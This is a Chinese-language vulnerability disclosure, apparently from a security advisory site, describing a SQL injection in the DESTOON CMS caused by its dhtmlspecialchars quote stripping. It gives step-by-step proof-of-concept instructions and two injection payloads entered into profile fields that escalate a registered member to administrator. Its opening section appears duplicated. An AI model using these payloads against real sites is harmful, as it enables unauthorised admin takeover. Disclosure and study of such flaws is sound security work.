### 简要描述: DESTOON sql注入漏洞 ### 详细说明: 首先看一个函数 :dhtmlspecialchars ``` function dhtmlspecialchars($string) { if(is_array($string)) { return array_map('dhtmlspecialchars', $string); } else { $string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8'); $string = str_replace('&', '&', $string); if(defined('DT_ADMIN')) return $string; $_string = str_replace(array('"', '"', '"'), array('', '', ''), $string); if($_string == $string) return $string; return strip_sql($_string); } } ``` 好像也没什么问题,仔细一看这行: $string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8'); 这行功能是 把双引号和单引号转换为实体化.在继续往下看, $_string = str_replace(array('"', '"', '"'), array('', '', ''), $string); 这一行居然又把实体化的双引号给替换成空了,这样会造成一个后果,会导致转义字符实效。 我们来从头到尾来过一遍。 首先初始化变量,对变量进行转义 if(!$MQG) { if($_POST) $_POST = daddslashes($_POST); if($_GET) $_GET = daddslashes($_GET); if($_COOKIE) $_COOKIE = daddslashes($_COOKIE); } 此时我们提交 ?g=" 那么对应的变量应该是 g=\"...
### 简要描述: DESTOON sql注入漏洞 ### 详细说明: 首先看一个函数 :dhtmlspecialchars ``` function dhtmlspecialchars($string) { if(is_array($string)) { return array_map('dhtmlspecialchars', $string); } else { $string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8'); $string = str_replace('&', '&', $string); if(defined('DT_ADMIN')) return $string; $_string = str_replace(array('"', '"', '"'), array('', '', ''), $string); if($_string == $string) return $string; return strip_sql($_string); } } ``` 好像也没什么问题,仔细一看这行: $string = htmlspecialchars($string, ENT_QUOTES, DT_CHARSET == 'GBK' ? 'GB2312' : 'UTF-8'); 这行功能是 把双引号和单引号转换为实体化.在继续往下看, $_string = str_replace(array('"', '"', '"'), array('', '', ''), $string); 这一行居然又把实体化的双引号给替换成空了,这样会造成一个后果,会导致转义字符实效。 我们来从头到尾来过一遍。 首先初始化变量,对变量进行转义 if(!$MQG) { if($_POST) $_POST = daddslashes($_POST); if($_GET) $_GET = daddslashes($_GET); if($_COOKIE) $_COOKIE = daddslashes($_COOKIE); } 此时我们提交 ?g=" 那么对应的变量应该是 g=\" 我们在调用htmlspecialchars进行转义: g="\ 调用str_replace后变成 g=\ 看这样可以直接进行注入了。 这个函数应用的地方非常多几乎每个功能模块都有再用,找了一个修改资料的地方可以直接提升为自己成为管理员。 ### 漏洞证明: 首先注册一个企业会员,成功后。先修改一次资料 分别把个人资料里面阿里旺旺和公司联系方式里面的公司传真修改为一串数字 后面会用到 [<img src="https://images.seebug.org/upload/201509/19160355b168fc5e25a2124da9fb62e86feb431c.png" alt="QQ截图20150919151028.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/19160355b168fc5e25a2124da9fb62e86feb431c.png) [<img src="https://images.seebug.org/upload/201509/19160411903cb13d9b56d71e87d5774c53118faf.png" alt="QQ截图20150919151046.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/19160411903cb13d9b56d71e87d5774c53118faf.png) 保存修改后,我们再来一次修改资料,先修改公司资料填入以下内容: ``` " ,groupid=1 ORDER BY fax=587587554251 DESC LIMIT 1# fax=你刚刚填入的公司传真。 ``` [<img src="https://images.seebug.org/upload/201509/19160629f40849c67b8b381859714ea4a62b6683.png" alt="QQ截图20150919151144.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/19160629f40849c67b8b381859714ea4a62b6683.png) 更新成功后 销售产品会变成 ',buy= 我们再来第二次更新修改,这次修改个人资料: ``` " ,admin=1,groupid=1 ORDER BY ALI=52514541511112 DESC LIMIT 1## ALI=你刚刚填入的阿里旺旺。 ``` [<img src="https://images.seebug.org/upload/201509/19161333bd33a2f44ffdcb2ba51d1d2e0e66bc11.png" alt="QQ截图20150919160810.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/19161333bd33a2f44ffdcb2ba51d1d2e0e66bc11.png) 成功后手机号码会变成 ',department= 此时已经成功提升为管理员, [<img src="https://images.seebug.org/upload/201509/19161426319ed85b595a35b6a975e0e895d49319.png" alt="QQ截图20150919151350.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/19161426319ed85b595a35b6a975e0e895d49319.png) (注入管理员的话很简单,因为在同表内。) 最新版测试通过。